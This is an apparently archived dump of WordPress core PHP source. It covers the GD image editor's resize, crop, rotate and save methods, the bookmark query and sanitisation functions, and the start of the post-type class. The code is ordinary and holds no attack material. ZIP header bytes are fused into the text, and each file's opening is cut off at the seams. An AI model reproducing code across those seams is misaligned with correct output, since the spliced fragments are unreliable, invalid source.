failed.' ), $this->file ); } /** * @param int $max_w * @param int $max_h * @param bool|array $crop { * Optional. Image cropping behavior. If false, the image will be scaled (default). * If true, image will be cropped to the specified dimensions using center positions. * If an array, the image will be cropped using the array to specify the crop location: * * @type string $0 The x crop position. Accepts 'left', 'center', or 'right'. * @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'. * } * @return resource|GdImage|WP_Error */ protected function _resize( $max_w, $max_h, $crop = false ) { $dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop ); if ( ! $dims ) { return new WP_Error( 'error_getting_dimensions', __( 'Could not calculate resized image dimensions' ), $this->file ); } list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims; $this->set_quality( null, array( 'width' => $dst_w, 'height' => $dst_h, ) ); $resized = wp_imagecreatetruecolor( $dst_w, $dst_h ); imagecopyresampled( $resized, $this->image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ); if ( is_gd_image( $resized ) ) { $this->update_size( $dst_w, $dst_h ); return $resized; } return new WP_Error( 'image_resize_error', __( 'Image resize failed.' ), $this->file ); } /** * Create multiple smaller images from a single source. * * Attempts to create all sub-sizes and returns the meta data at the end. This * may result in the server running out of resources. When it fails there may be few * "orphaned" images left over as the meta data is never returned and saved. * * As of 5.3.0 the preferred way to do this is with `make_subsize()`. It creates * the new images one at a time and allows for the meta data to be saved after * each new image is created. * * @since 3.5.0 * * @param array $sizes { * An array of image size data arrays. * * Either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the source image. * * @type array ...$0 { * Array of height, width values, and whether to crop. * * @type int $width Image width. Optional if `$height` is specified. * @type int $height Image height. Optional if `$width` is specified. * @type bool|array $crop Optional. Whether to crop the image. Default false. * } * } * @return array An array of resized images' metadata by size. */ public function multi_resize( $sizes ) { $metadata = array(); foreach ( $sizes as $size => $size_data ) { $meta = $this->make_subsize( $size_data ); if ( ! is_wp_error( $meta ) ) { $metadata[ $size ] = $meta; } } return $metadata; } /** * Create an image sub-size and return the image meta data value for it. * * @since 5.3.0 * * @param array $size_data { * Array of size data. * * @type int $width The maximum width in pixels. * @type int $height The maximum height in pixels. * @type bool|array $crop Whether to crop the image to exact dimensions. * } * @return array|WP_Error The image data array for inclusion in the `sizes` array in the image meta, * WP_Error object on error. */ public function make_subsize( $size_data ) { if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) { return new WP_Error( 'image_subsize_create_error', __( 'Cannot resize the image. Both width and height are not set.' ) ); } $orig_size = $this->size; if ( ! isset( $size_data['width'] ) ) { $size_data['width'] = null; } if ( ! isset( $size_data['height'] ) ) { $size_data['height'] = null; } if ( ! isset( $size_data['crop'] ) ) { $size_data['crop'] = false; } $resized = $this->_resize( $size_data['width'], $size_data['height'], $size_data['crop'] ); if ( is_wp_error( $resized ) ) { $saved = $resized; } else { $saved = $this->_save( $resized ); if ( PHP_VERSION_ID < 80000 ) { // imagedestroy() has no effect as of PHP 8.0. imagedestroy( $resized ); } } $this->size = $orig_size; if ( ! is_wp_error( $saved ) ) { unset( $saved['path'] ); } return $saved; } /** * Crops Image. * * @since 3.5.0 * * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param bool $src_abs Optional. If the source crop points are absolute. * @return true|WP_Error */ public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) { /* * If destination width/height isn't specified, * use same as width/height from source. */ if ( ! $dst_w ) { $dst_w = $src_w; } if ( ! $dst_h ) { $dst_h = $src_h; } foreach ( array( $src_w, $src_h, $dst_w, $dst_h ) as $value ) { if ( ! is_numeric( $value ) || (int) $value <= 0 ) { return new WP_Error( 'image_crop_error', __( 'Image crop failed.' ), $this->file ); } } $dst = wp_imagecreatetruecolor( (int) $dst_w, (int) $dst_h ); if ( $src_abs ) { $src_w -= $src_x; $src_h -= $src_y; } if ( function_exists( 'imageantialias' ) ) { imageantialias( $dst, true ); } imagecopyresampled( $dst, $this->image, 0, 0, (int) $src_x, (int) $src_y, (int) $dst_w, (int) $dst_h, (int) $src_w, (int) $src_h ); if ( is_gd_image( $dst ) ) { if ( PHP_VERSION_ID < 80000 ) { // imagedestroy() has no effect as of PHP 8.0. imagedestroy( $this->image ); } $this->image = $dst; $this->update_size(); return true; } return new WP_Error( 'image_crop_error', __( 'Image crop failed.' ), $this->file ); } /** * Rotates current image counter-clockwise by $angle. * Ported from image-edit.php * * @since 3.5.0 * * @param float $angle * @return true|WP_Error */ public function rotate( $angle ) { if ( function_exists( 'imagerotate' ) ) { $transparency = imagecolorallocatealpha( $this->image, 255, 255, 255, 127 ); $rotated = imagerotate( $this->image, $angle, $transparency ); if ( is_gd_image( $rotated ) ) { imagealphablending( $rotated, true ); imagesavealpha( $rotated, true ); if ( PHP_VERSION_ID < 80000 ) { // imagedestroy() has no effect as of PHP 8.0. imagedestroy( $this->image ); } $this->image = $rotated; $this->update_size(); return true; } } return new WP_Error( 'image_rotate_error', __( 'Image rotate failed.' ), $this->file ); } /** * Flips current image. * * @since 3.5.0 * * @param bool $horz Flip along Horizontal Axis. * @param bool $vert Flip along Vertical Axis. * @return true|WP_Error */ public function flip( $horz, $vert ) { $w = $this->size['width']; $h = $this->size['height']; $dst = wp_imagecreatetruecolor( $w, $h ); if ( is_gd_image( $dst ) ) { $sx = $vert ? ( $w - 1 ) : 0; $sy = $horz ? ( $h - 1 ) : 0; $sw = $vert ? -$w : $w; $sh = $horz ? -$h : $h; if ( imagecopyresampled( $dst, $this->image, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) { if ( PHP_VERSION_ID < 80000 ) { // imagedestroy() has no effect as of PHP 8.0. imagedestroy( $this->image ); } $this->image = $dst; return true; } } return new WP_Error( 'image_flip_error', __( 'Image flip failed.' ), $this->file ); } /** * Saves current in-memory image to file. * * @since 3.5.0 * @since 5.9.0 Renamed `$filename` to `$destfilename` to match parent class * for PHP 8 named parameter support. * @since 6.0.0 The `$filesize` value was added to the returned array. * * @param string|null $destfilename Optional. Destination filename. Default null. * @param string|null $mime_type Optional. The mime-type. Default null. * @return array|WP_Error { * Array on success or WP_Error if the file failed to save. * * @type string $path Path to the image file. * @type string $file Name of the image file. * @type int $width Image width. * @type int $height Image height. * @type string $mime-type The mime type of the image. * @type int $filesize File size of the image. * } */ public function save( $destfilename = null, $mime_type = null ) { $saved = $this->_save( $this->image, $destfilename, $mime_type ); if ( ! is_wp_error( $saved ) ) { $this->file = $saved['path']; $this->mime_type = $saved['mime-type']; } return $saved; } /** * @since 3.5.0 * @since 6.0.0 The `$filesize` value was added to the returned array. * * @param resource|GdImage $image * @param string|null $filename * @param string|null $mime_type * @return array|WP_Error { * Array on success or WP_Error if the file failed to save. * * @type string $path Path to the image file. * @type string $file Name of the image file. * @type int $width Image width. * @type int $height Image height. * @type string $mime-type The mime type of the image. * @type int $filesize File size of the image. * } */ protected function _save( $image, $filename = null, $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type ); if ( ! $filename ) { $filename = $this->generate_filename( null, null, $extension ); } if ( function_exists( 'imageinterlace' ) ) { /** * Filters whether to output progressive images (if available). * * @since 6.5.0 * * @param bool $interlace Whether to use progressive images for output if available. Default false. * @param string $mime_type The mime type being saved. */ imageinterlace( $image, apply_filters( 'image_save_progressive', false, $mime_type ) ); } if ( 'image/gif' === $mime_type ) { if ( ! $this->make_image( $filename, 'imagegif', array( $image, $filename ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/png' === $mime_type ) { // Convert from full colors to index colors, like original PNG. if ( function_exists( 'imageistruecolor' ) && ! imageistruecolor( $image ) ) { imagetruecolortopalette( $image, false, imagecolorstotal( $image ) ); } if ( ! $this->make_image( $filename, 'imagepng', array( $image, $filename ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/jpeg' === $mime_type ) { if ( ! $this->make_image( $filename, 'imagejpeg', array( $image, $filename, $this->get_quality() ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/webp' === $mime_type ) { if ( ! function_exists( 'imagewebp' ) || ! $this->make_image( $filename, 'imagewebp', array( $image, $filename, $this->get_quality() ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/avif' === $mime_type ) { if ( ! function_exists( 'imageavif' ) || ! $this->make_image( $filename, 'imageavif', array( $image, $filename, $this->get_quality() ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } else { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } // Set correct file permissions. $stat = stat( dirname( $filename ) ); $perms = $stat['mode'] & 0000666; // Same permissions as parent folder, strip off the executable bits. chmod( $filename, $perms ); return array( 'path' => $filename, /** * Filters the name of the saved image file. * * @since 2.6.0 * * @param string $filename Name of the file. */ 'file' => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ), 'width' => $this->size['width'], 'height' => $this->size['height'], 'mime-type' => $mime_type, 'filesize' => wp_filesize( $filename ), ); } /** * Sets Image Compression quality on a 1-100% scale. Handles WebP lossless images. * * @since 6.7.0 * @since 6.8.0 The `$dims` parameter was added. * * @param int $quality Compression Quality. Range: [1,100] * @param array $dims Optional. Image dimensions array with 'width' and 'height' keys. * @return true|WP_Error True if set successfully; WP_Error on failure. */ public function set_quality( $quality = null, $dims = array() ) { $quality_result = parent::set_quality( $quality, $dims ); if ( is_wp_error( $quality_result ) ) { return $quality_result; } else { $quality = $this->get_quality(); } // Handle setting the quality for WebP lossless images, see https://php.watch/versions/8.1/gd-webp-lossless. try { if ( 'image/webp' === $this->mime_type && defined( 'IMG_WEBP_LOSSLESS' ) ) { $webp_info = wp_get_webp_info( $this->file ); if ( ! empty( $webp_info['type'] ) && 'lossless' === $webp_info['type'] ) { $quality = IMG_WEBP_LOSSLESS; parent::set_quality( $quality, $dims ); } } } catch ( Exception $e ) { return new WP_Error( 'image_quality_error', $e->getMessage() ); } $this->quality = $quality; return true; } /** * Returns stream of current image. * * @since 3.5.0 * * @param string $mime_type The mime type of the image. * @return bool True on success, false on failure. */ public function stream( $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type ); switch ( $mime_type ) { case 'image/png': header( 'Content-Type: image/png' ); return imagepng( $this->image ); case 'image/gif': header( 'Content-Type: image/gif' ); return imagegif( $this->image ); case 'image/webp': if ( function_exists( 'imagewebp' ) ) { header( 'Content-Type: image/webp' ); return imagewebp( $this->image, null, $this->get_quality() ); } else { // Fall back to JPEG. header( 'Content-Type: image/jpeg' ); return imagejpeg( $this->image, null, $this->get_quality() ); } case 'image/avif': if ( function_exists( 'imageavif' ) ) { header( 'Content-Type: image/avif' ); return imageavif( $this->image, null, $this->get_quality() ); } // Fall back to JPEG. default: header( 'Content-Type: image/jpeg' ); return imagejpeg( $this->image, null, $this->get_quality() ); } } /** * Either calls editor's save function or handles file as a stream. * * @since 3.5.0 * * @param string $filename * @param callable $callback * @param array $arguments * @return bool */ protected function make_image( $filename, $callback, $arguments ) { if ( wp_is_stream( $filename ) ) { $arguments[1] = null; } return parent::make_image( $filename, $callback, $arguments ); } } PK!³ãßC<C< bookmark.phpnuȯÝílink_id, $bookmark, 'bookmark' ); $_bookmark = $bookmark; } else { if ( isset( $GLOBALS['link'] ) && ( $GLOBALS['link']->link_id === $bookmark ) ) { $_bookmark = & $GLOBALS['link']; } else { $_bookmark = wp_cache_get( $bookmark, 'bookmark' ); if ( ! $_bookmark ) { $_bookmark = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark ) ); if ( $_bookmark ) { $_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) ); wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' ); } } } } if ( ! $_bookmark ) { return $_bookmark; } $_bookmark = sanitize_bookmark( $_bookmark, $filter ); if ( OBJECT === $output ) { return $_bookmark; } elseif ( ARRAY_A === $output ) { return get_object_vars( $_bookmark ); } elseif ( ARRAY_N === $output ) { return array_values( get_object_vars( $_bookmark ) ); } else { return $_bookmark; } } /** * Retrieves single bookmark data item or field. * * @since 2.3.0 * * @param string $field The name of the data field to return. * @param int $bookmark The bookmark ID to get field. * @param string $context Optional. The context of how the field will be used. Default 'display'. * @return string|WP_Error */ function get_bookmark_field( $field, $bookmark, $context = 'display' ) { $bookmark = (int) $bookmark; $bookmark = get_bookmark( $bookmark ); if ( is_wp_error( $bookmark ) ) { return $bookmark; } if ( ! is_object( $bookmark ) ) { return ''; } if ( ! isset( $bookmark->$field ) ) { return ''; } return sanitize_bookmark_field( $field, $bookmark->$field, $bookmark->link_id, $context ); } /** * Retrieves the list of bookmarks. * * Attempts to retrieve from the cache first based on MD5 hash of arguments. If * that fails, then the query will be built from the arguments and executed. The * results will be stored to the cache. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|array $args { * Optional. String or array of arguments to retrieve bookmarks. * * @type string $orderby How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name', * 'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating', * 'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes', * 'description', 'link_description', 'length' and 'rand'. * When `$orderby` is 'length', orders by the character length of * 'link_name'. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts any positive number or * -1 for all. Default -1. * @type string $category Comma-separated list of category IDs to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type string $include Comma-separated list of bookmark IDs to include. Default empty. * @type string $exclude Comma-separated list of bookmark IDs to exclude. Default empty. * @type string $search Search terms. Will be SQL-formatted with wildcards before and after * and searched in 'link_url', 'link_name' and 'link_description'. * Default empty. * } * @return object[] List of bookmark row objects. */ function get_bookmarks( $args = '' ) { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'include' => '', 'exclude' => '', 'search' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); $key = md5( serialize( $parsed_args ) ); $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ); if ( 'rand' !== $parsed_args['orderby'] && $cache ) { if ( is_array( $cache ) && isset( $cache[ $key ] ) ) { $bookmarks = $cache[ $key ]; /** * Filters the returned list of bookmarks. * * The first time the hook is evaluated in this file, it returns the cached * bookmarks list. The second evaluation returns a cached bookmarks list if the * link category is passed but does not exist. The third evaluation returns * the full cached results. * * @since 2.1.0 * * @see get_bookmarks() * * @param array $bookmarks List of the cached bookmarks. * @param array $parsed_args An array of bookmark query arguments. */ return apply_filters( 'get_bookmarks', $bookmarks, $parsed_args ); } } if ( ! is_array( $cache ) ) { $cache = array(); } $inclusions = ''; if ( ! empty( $parsed_args['include'] ) ) { $parsed_args['exclude'] = ''; // Ignore exclude, category, and category_name params if using include. $parsed_args['category'] = ''; $parsed_args['category_name'] = ''; $inclinks = wp_parse_id_list( $parsed_args['include'] ); if ( count( $inclinks ) ) { foreach ( $inclinks as $inclink ) { if ( empty( $inclusions ) ) { $inclusions = ' AND ( link_id = ' . $inclink . ' '; } else { $inclusions .= ' OR link_id = ' . $inclink . ' '; } } } } if ( ! empty( $inclusions ) ) { $inclusions .= ')'; } $exclusions = ''; if ( ! empty( $parsed_args['exclude'] ) ) { $exlinks = wp_parse_id_list( $parsed_args['exclude'] ); if ( count( $exlinks ) ) { foreach ( $exlinks as $exlink ) { if ( empty( $exclusions ) ) { $exclusions = ' AND ( link_id <> ' . $exlink . ' '; } else { $exclusions .= ' AND link_id <> ' . $exlink . ' '; } } } } if ( ! empty( $exclusions ) ) { $exclusions .= ')'; } if ( ! empty( $parsed_args['category_name'] ) ) { $parsed_args['category'] = get_term_by( 'name', $parsed_args['category_name'], 'link_category' ); if ( $parsed_args['category'] ) { $parsed_args['category'] = $parsed_args['category']->term_id; } else { $cache[ $key ] = array(); wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', array(), $parsed_args ); } } $search = ''; if ( ! empty( $parsed_args['search'] ) ) { $like = '%' . $wpdb->esc_like( $parsed_args['search'] ) . '%'; $search = $wpdb->prepare( ' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like ); } $category_query = ''; $join = ''; if ( ! empty( $parsed_args['category'] ) ) { $incategories = wp_parse_id_list( $parsed_args['category'] ); if ( count( $incategories ) ) { foreach ( $incategories as $incat ) { if ( empty( $category_query ) ) { $category_query = ' AND ( tt.term_id = ' . $incat . ' '; } else { $category_query .= ' OR tt.term_id = ' . $incat . ' '; } } } } if ( ! empty( $category_query ) ) { $category_query .= ") AND taxonomy = 'link_category'"; $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; } if ( $parsed_args['show_updated'] ) { $recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated '; } else { $recently_updated_test = ''; } $get_updated = ( $parsed_args['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; $orderby = strtolower( $parsed_args['orderby'] ); $length = ''; switch ( $orderby ) { case 'length': $length = ', CHAR_LENGTH(link_name) AS length'; break; case 'rand': $orderby = 'rand()'; break; case 'link_id': $orderby = "$wpdb->links.link_id"; break; default: $orderparams = array(); $keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' ); foreach ( explode( ',', $orderby ) as $ordparam ) { $ordparam = trim( $ordparam ); if ( in_array( 'link_' . $ordparam, $keys, true ) ) { $orderparams[] = 'link_' . $ordparam; } elseif ( in_array( $ordparam, $keys, true ) ) { $orderparams[] = $ordparam; } } $orderby = implode( ',', $orderparams ); } if ( empty( $orderby ) ) { $orderby = 'link_name'; } $order = strtoupper( $parsed_args['order'] ); if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) { $order = 'ASC'; } $visible = ''; if ( $parsed_args['hide_invisible'] ) { $visible = "AND link_visible = 'Y'"; } $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; $query .= " $exclusions $inclusions $search"; $query .= " ORDER BY $orderby $order"; if ( -1 !== $parsed_args['limit'] ) { $query .= ' LIMIT ' . absint( $parsed_args['limit'] ); } $results = $wpdb->get_results( $query ); if ( 'rand()' !== $orderby ) { $cache[ $key ] = $results; wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); } /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', $results, $parsed_args ); } /** * Sanitizes all bookmark fields. * * @since 2.3.0 * * @param stdClass|array $bookmark Bookmark row. * @param string $context Optional. How to filter the fields. Default 'display'. * @return stdClass|array Same type as $bookmark but with fields sanitized. */ function sanitize_bookmark( $bookmark, $context = 'display' ) { $fields = array( 'link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', 'link_rel', 'link_notes', 'link_rss', ); if ( is_object( $bookmark ) ) { $do_object = true; $link_id = $bookmark->link_id; } else { $do_object = false; $link_id = $bookmark['link_id']; } foreach ( $fields as $field ) { if ( $do_object ) { if ( isset( $bookmark->$field ) ) { $bookmark->$field = sanitize_bookmark_field( $field, $bookmark->$field, $link_id, $context ); } } else { if ( isset( $bookmark[ $field ] ) ) { $bookmark[ $field ] = sanitize_bookmark_field( $field, $bookmark[ $field ], $link_id, $context ); } } } return $bookmark; } /** * Sanitizes a bookmark field. * * Sanitizes the bookmark fields based on what the field name is. If the field * has a strict value set, then it will be tested for that, else a more generic * filtering is applied. After the more strict filter is applied, if the `$context` * is 'raw' then the value is immediately return. * * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'} * filter will be called and passed the `$value` and `$bookmark_id` respectively. * * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value. * The 'display' context is the final context and has the `$field` has the filter name * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively. * * @since 2.3.0 * * @param string $field The bookmark field. * @param mixed $value The bookmark field value. * @param int $bookmark_id Bookmark ID. * @param string $context How to filter the field value. Accepts 'raw', 'edit', 'db', * 'display', 'attribute', or 'js'. Default 'display'. * @return mixed The filtered value. */ function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) { $int_fields = array( 'link_id', 'link_rating' ); if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } switch ( $field ) { case 'link_category': // array( ints ) $value = array_map( 'absint', (array) $value ); /* * We return here so that the categories aren't filtered. * The 'link_category' filter is for the name of a link category, not an array of a link's link categories. */ return $value; case 'link_visible': // bool stored as Y|N $value = preg_replace( '/[^YNyn]/', '', $value ); break; case 'link_target': // "enum" $targets = array( '_top', '_blank' ); if ( ! in_array( $value, $targets, true ) ) { $value = ''; } break; } if ( 'raw' === $context ) { return $value; } if ( 'edit' === $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "edit_{$field}", $value, $bookmark_id ); if ( 'link_notes' === $field ) { $value = esc_html( $value ); // textarea_escaped } else { $value = esc_attr( $value ); } } elseif ( 'db' === $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "pre_{$field}", $value ); } else { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "{$field}", $value, $bookmark_id, $context ); if ( 'attribute' === $context ) { $value = esc_attr( $value ); } elseif ( 'js' === $context ) { $value = esc_js( $value ); } } // Restore the type for integer fields after esc_attr(). if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } return $value; } /** * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $bookmark_id Bookmark ID. */ function clean_bookmark_cache( $bookmark_id ) { wp_cache_delete( $bookmark_id, 'bookmark' ); wp_cache_delete( 'get_bookmarks', 'bookmark' ); clean_object_term_cache( $bookmark_id, 'link' ); } PK!$g=ìØwØwclass-wp-post-type.phpnuȯÝíname = $post_type; $this->set_props( $args ); } /** * Sets post type properties. * * See the register_post_type() function for accepted arguments for `$args`. * * @since 4.6.0 * * @param array|string $args Array or string of arguments for registering a post type. */ public function set_props( $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a post type. * * @since 4.4.0 * * @param array $args Array of arguments for registering a post type. * See the register_post_type() function for accepted arguments. * @param string $post_type Post type key. */ $args = apply_filters( 'register_post_type_args', $args, $this->name ); $post_type = $this->name; /** * Filters the arguments for registering a specific post type. * * The dynamic portion of the filter name, `$post_type`, refers to the post type key. * * Possible hook names include: * * - `register_post_post_type_args` * - `register_page_post_type_args` * * @since 6.0.0 * @since 6.4.0 Added `late_route_registration`, `autosave_rest_controller_class` and `revisions_rest_controller_class` arguments. * * @param array $args Array of arguments for registering a post type. * See the register_post_type() function for accepted arguments. * @param string $post_type Post type key. */ $args = apply_filters( "register_{$post_type}_post_type_args", $args, $this->name ); $has_edit_link = ! empty( $args['_edit_link'] ); // Args prefixed with an underscore are reserved for internal use. $defaults = array( 'labels' => array(), 'description' => '', 'public' => false, 'hierarchical' => false, 'exclude_from_search' => null, 'publicly_queryable' => null, 'embeddable' => null, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_in_admin_bar' => null, 'menu_position' => null, 'menu_icon' => null, 'capability_type' => 'post', 'capabilities' => array(), 'map_meta_cap' => null, 'supports' => array(), 'register_meta_box_cb' => null, 'taxonomies' => array(), 'has_archive' => false, 'rewrite' => true, 'query_var' => true, 'can_export' => true, 'delete_with_user' => null, 'show_in_rest' => false, 'rest_base' => false, 'rest_namespace' => false, 'rest_controller_class' => false, 'autosave_rest_controller_class' => false, 'revisions_rest_controller_class' => false, 'late_route_registration' => false, 'template' => array(), 'template_lock' => false, '_builtin' => false, '_edit_link' => 'post.php?post=%d', ); $args = array_merge( $defaults, $args ); $args['name'] = $this->name; // If not set, default to the setting for 'public'. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } // If not set, default to the setting for 'public'. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default to the setting for 'public'. if ( null === $args['embeddable'] ) { $args['embeddable'] = $args['public']; } // If not set, default rest_namespace to wp/v2 if show_in_rest is true. if ( false === $args['rest_namespace'] && ! empty( $args['show_in_rest'] ) ) { $args['rest_namespace'] = 'wp/v2'; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the setting for 'show_in_menu'. if ( null === $args['show_in_admin_bar'] ) { $args['show_in_admin_bar'] = (bool) $args['show_in_menu']; } // If not set, default to the setting for 'public'. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to true if not public, false if public. if ( null === $args['exclude_from_search'] ) { $args['exclude_from_search'] = ! $args['public']; } // Back compat with quirky handling in version 3.0. #14122. if ( empty( $args['capabilities'] ) && null === $args['map_meta_cap'] && in_array( $args['capability_type'], array( 'post', 'page' ), true ) ) { $args['map_meta_cap'] = true; } // If not set, default to false. if ( null === $args['map_meta_cap'] ) { $args['map_meta_cap'] = false; } // If there's no specified edit link and no UI, remove the edit link. if ( ! $args['show_ui'] && ! $has_edit_link ) { $args['_edit_link'] = ''; } $this->cap = get_post_type_capabilities( (object) $args ); unset( $args['capabilities'] ); if ( is_array( $args['capability_type'] ) ) { $args['capability_type'] = $args['capability_type'][0]; } if ( false !== $args['query_var'] ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( ! is_array( $args['rewrite'] ) ) { $args['rewrite'] = array(); } if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = $this->name; } if ( ! isset( $args['rewrite']['with_front'] ) ) { $args['rewrite']['with_front'] = true; } if ( ! isset( $args['rewrite']['pages'] ) ) { $args['rewrite']['pages'] = true; } if ( ! isset( $args['rewrite']['feeds'] ) || ! $args['has_archive'] ) { $args['rewrite']['feeds'] = (bool) $args['has_archive']; } if ( ! isset( $args['rewrite']['ep_mask'] ) ) { if ( isset( $args['permalink_epmask'] ) ) { $args['rewrite']['ep_mask'] = $args['permalink_epmask']; } else { $args['rewrite']['ep_mask'] = EP_PERMALINK; } } } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_post_type_labels( $this ); $this->label = $this->labels->name; } /** * Sets the features support for the post type. * * @since 4.6.0 */ public function add_supports() { if ( ! empty( $this->supports ) ) { foreach ( $this->supports as $feature => $args ) { if ( is_array( $args ) ) { add_post_type_support( $this->name, $feature, $args ); } else { add_post_type_support( $this->name, $args ); } } unset( $this->supports ); /* * 'editor' support implies 'autosave' support for backward compatibility. * 'autosave' support needs to be explicitly removed if not desired. */ if ( post_type_supports( $this->name, 'editor' ) && ! post_type_supports( $this->name, 'autosave' ) ) { add_post_type_support( $this->name, 'autosave' ); } } elseif ( false !== $this->supports ) { // Add default features. add_post_type_support( $this->name, array( 'title', 'editor', 'autosave' ) ); } } /** * Adds the necessary rewrite rules for the post type. * * @since 4.6.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { global $wp_rewrite, $wp; if ( false !== $this->query_var && $wp && is_post_type_viewable( $this ) ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical ) { add_rewrite_tag( "%$this->name%", '(.+?)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&pagename=" ); } else { add_rewrite_tag( "%$this->name%", '([^/]+)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&name=" ); } if ( $this->has_archive ) { $archive_slug = true === $this->has_archive ? $this->rewrite['slug'] : $this->has_archive; if ( $this->rewrite['with_front'] ) { $archive_slug = substr( $wp_rewrite->front, 1 ) . $archive_slug; } else { $archive_slug = $wp_rewrite->root . $archive_slug; } add_rewrite_rule( "{$archive_slug}/?$", "index.php?post_type=$this->name", 'top' ); if ( $this->rewrite['feeds'] && $wp_rewrite->feeds ) { $feeds = '(' . trim( implode( '|', $wp_rewrite->feeds ) ) . ')'; add_rewrite_rule( "{$archive_slug}/feed/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' ); add_rewrite_rule( "{$archive_slug}/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' ); } if ( $this->rewrite['pages'] ) { add_rewrite_rule( "{$archive_slug}/{$wp_rewrite->pagination_base}/([0-9]{1,})/?$", "index.php?post_type=$this->name" . 